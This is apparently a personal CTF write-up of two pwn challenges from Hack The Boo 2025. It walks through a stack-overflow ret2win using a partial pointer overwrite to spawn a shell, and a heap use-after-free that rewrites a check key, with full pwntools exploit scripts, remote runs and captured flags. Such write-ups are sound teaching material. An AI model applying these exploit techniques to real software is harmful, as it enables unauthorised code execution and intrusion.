Hack The Boo CTF 2025 | Pwn
Hack The Boo CTF 2025 was a 2-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 5 out of 2892 players. This post covers the Pwn challenges.
Rookie Mistake [easy]
Rook — the fearless, reckless hunter — has become trapped within the binary during his attempt to erase NEMEGHAST. To set him free, you must align the cores and unlock his path back to the light. Failing that… find another way. Bypass the mechanism. Break the cycle. objective: Ret2win but not in a function, but a certain address.
Step 1: Explore the Challenge Files
Identify the provided artifacts and the binary format.
ls
file rookie_mistake
cat README.txt
Findings:
- Single ELF named
rookie_mistake, plus a themed README. - 64-bit dynamically linked binary, no PIE, NX enabled, stack canary disabled, CET (IBT/SHSTK) on.
Step 2: Baseline Runtime Behavior
Observe how the binary interacts with stdin/stdout.
./rookie_mistake
Output snippet:
【Gℓιт¢н Vσι¢є】Яοοқ... Μу ɓєℓονєɗ нυηтєя.. Aℓιgη тнє ¢οяєѕ.. Eѕ¢αρє!
rook@ie:~$ 【Gℓιт¢н Vσι¢є】Шɨʟʟ ʏѳʋ ʍąŋąɠɛ ȶѳ ƈąʟʟ ȶнɛ ƈѳяɛ ąŋɗ ɛʂƈąքɛ?!
Program reads from stdin once; any crash exits back to shell. No evidence of menuing or length checks—likely a single overflow.
Step 3: Static Recon
Use pwntools/objdump to enumerate symbols and key functions.
from pwn import *
elf = ELF('rookie_mistake')
print('main', hex(elf.symbols['main']))
for name in ('banner','check_core','overflow_core','fail','setup'):
func = elf.functions[name]
print(f"{name}@{hex(func.address)} size {func.size}")
Highlights:
mainzeroes a 32-byte local buffer, prints ASCII art, then callsread(0, buf, 0x2e).check_core/overflow_corecompare six global “core” slots against user input; failing invokesfail(prints scolding text).0x401758is a short stub that loads the string/bin/shfrom.rodataand jumps tosystem@plt—classicwingadget.
strings confirms /bin/sh at 0x4030a7.
Step 4: Measure the Overflow
Inspect main’s prologue to confirm stack layout.
objdump -d rookie_mistake --start-address=0x40176b --stop-address=0x4017d6
Key instructions:
sub rsp, 0x20→ local buffer is 0x20 bytes.- After the
readcall there is no stack canary; returning uses the savedrbp/ripat offsets+0x20and+0x28.
Therefore payload structure: [32 bytes padding][overwrite saved RBP][new RIP].
Step 5: Local Proof of Concept
Craft payload and run locally to ensure the jump hits system.
from pwn import *
payload = b'A'*0x20 + b'B'*8 + p64(0x401758)[:6]
proc = process('./rookie_mistake')
proc.send(payload + b'id\n')
print(proc.recvline())
Notes:
- CET rejects 8-byte gadgets lacking ENDBR64, so partial overwrite (
[:6]) keeps high bytes intact and lands exactly on0x401758which begins with ENDBR. - After ret, banner still prints due to buffered output; patience is required.
Step 6: The Exploit
from pwn import *
import time
context.binary = ELF('./rookie_mistake')
context.log_level = 'info'
HOST = '164.92.240.36'
PORT = 30498
WIN_ADDR = 0x401758
OFFSET = 0x20
payload = b'A' * OFFSET
payload += b'B' * 8
payload += p64(WIN_ADDR)[:6]
CMD = b'cat flag.txt || cat /flag'
def main():
io = remote(HOST, PORT)
io.sendline(payload)
io.sendline(CMD)
data = b''
deadline = time.time() + 120
while time.time() < deadline:
chunk = io.recv(timeout=5)
if not chunk:
continue
data += chunk
if b'HTB{' in data:
break
start = data.index(b'HTB{')
end = data.index(b'}', start)
flag = data[start:end+1]
log.success(flag.decode())
with open('flag.txt', 'wb') as f:
f.write(flag + b"\n")
io.close()
if __name__ == '__main__':
main()
- CET’s SHSTK/IBT do not hinder us because the entire thing is legitimate compiled code.
- The slow, sleep-laden
printstrroutine meansrecvrepeat/timeouts must be generous.
Run the exploit
python3 exploit.py
[*] Opening connection to 164.92.240.36 on port 30498: Done
[*] Received 4146 bytes
[+] HTB{r3t2c0re_3sc4p3_th3_b1n4ry_9944a468344bd702fa436e27b18b3dd7}
Takeaways
- Non-PIE binary + absent canary reduces exploit to straightforward ret2win despite CET being enabled.
- Partial-pointer overwrites remain handy for CET-hardened binaries where high bytes must remain canonical.
Rookie Salvation [medium]
Rook’s last stand against NEMEGHAST begins now. This is no longer a simulation—it’s the collapse of control. Legend speaks of only one entity who ever broke free from the Matrix: the original architect of NEMEGHAST. His name—buried, forbidden, encrypted—was the master key. If you can recover it… and inject it into the core… Rook will finally be free.
Step 1: Explore the Challenge Files
ls
file rookie_salvation
cat README.txt
Findings:
- Only one ELF (
rookie_salvation) plus flavor text. - 64-bit dynamically linked PIE, NX and stack canary enabled, so a classic ret2win is unlikely.
Step 2: Baseline Protections and UX
checksec --file=rookie_salvation
./rookie_salvation
checksec confirms Full RELRO, Canary, NX, PIE. Running the binary shows the three-option:
+-------------------+
| [1] Reserve space |
| [2] Obliterate |
| [3] Escape |
+-------------------+
Option 3 invokes the salvation check, so the vulnerability must involve options 1 and 2.
Step 3: Static Reconnaissance
Enumerate symbols and dive into the interesting functions with radare2.
nm -C rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.reserve_space; pdf' rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.obliterate; pdf' rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.road_to_salvation; pdf' rookie_salvation
Key observations:
mainallocates a single heap chunk (malloc(0x26)) and stores its pointer in the globalallocated_space. The bytes atallocated_space + 0x1eare initialized to the string"deadbeef".- reserve_space
- Prompts for a size,
mallocs that size, and lets usscanf("%s")directly into the new chunk. - Never updates the global
allocated_space; it only stores the pointer in a local variable.
- Prompts for a size,
- obliterate calls
free(allocated_space)without nulling the pointer. - road_to_salvation compares
strcmp((char*)(allocated_space+0x1e), "w3th4nds"). If it matches, the function opensflag.txt; otherwise loop back to menu.
This sets up a dangling pointer: after obliterate, the global pointer remains, but the chunk returns to the tcache and can be reclaimed via reserve_space.
Step 4: Exploitation Strategy
- Obliterate the original chunk so it enters the tcache bin for size 0x30.
- Reserve a new chunk of a compatible size (decimal 40 in the menu suffices – glibc rounds to the same 0x30 size class).
- Because the freed chunk is first in the tcache list, the new allocation reuses the exact same address still stored in
allocated_space. - When we input data for the new chunk, we overwrite the bytes at offset
0x1e, effectively rewriting the salvation key thatroad_to_salvationwill later verify. - Trigger option 3 to read the flag.
Step 5: Local Proof of Concept
Use pwntools to script the menu sequence and confirm that replacing the secret with w3th4nds prints the local fake flag.
from pwn import *
context.log_level = 'debug'
elf = ELF('./rookie_salvation', checksec=False)
io = process(elf.path)
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b': ')
io.sendline(b'40')
io.recvuntil(b': ')
io.sendline(b'A'*30 + b'w3th4nds')
io.recvuntil(b'> ')
io.sendline(b'3')
print(io.recvrepeat(1).decode())
io.close()
Output:
[Unknown Voice] ✨ 𝐅𝐢𝐧𝐚𝐥𝐥𝐲.. 𝐓𝐡𝐞 𝐰𝐚𝐲.. 𝐎𝐮𝐭..HHTB{f4k3_fl4g_4_t35t1ng}
The local binary with a dummy flag, confirming that the logic works.
Step 6: Exploit
from pwn import *
context.binary = ELF("./rookie_salvation", checksec=False)
context.log_level = "info"
HOST = "209.38.254.18"
PORT = 31337
def forge_key(io):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b": ", b"40")
payload = b"A" * 0x1E + b"w3th4nds"
io.sendlineafter(b": ", payload)
io.sendlineafter(b"> ", b"3")
io.recvuntil(b"HTB{")
flag = b"HTB{" + io.recvuntil(b"}")
log.success(flag.decode())
def main():
io = remote(HOST, PORT)
forge_key(io)
if __name__ == "__main__":
main()
Run the script
python3 exploit.py
[+] Opening connection to 209.38.254.18 on port 31337: Done
[+] HTB{h34p_2_h34v3n}
[*] Closed connection to 209.38.254.18 port 31337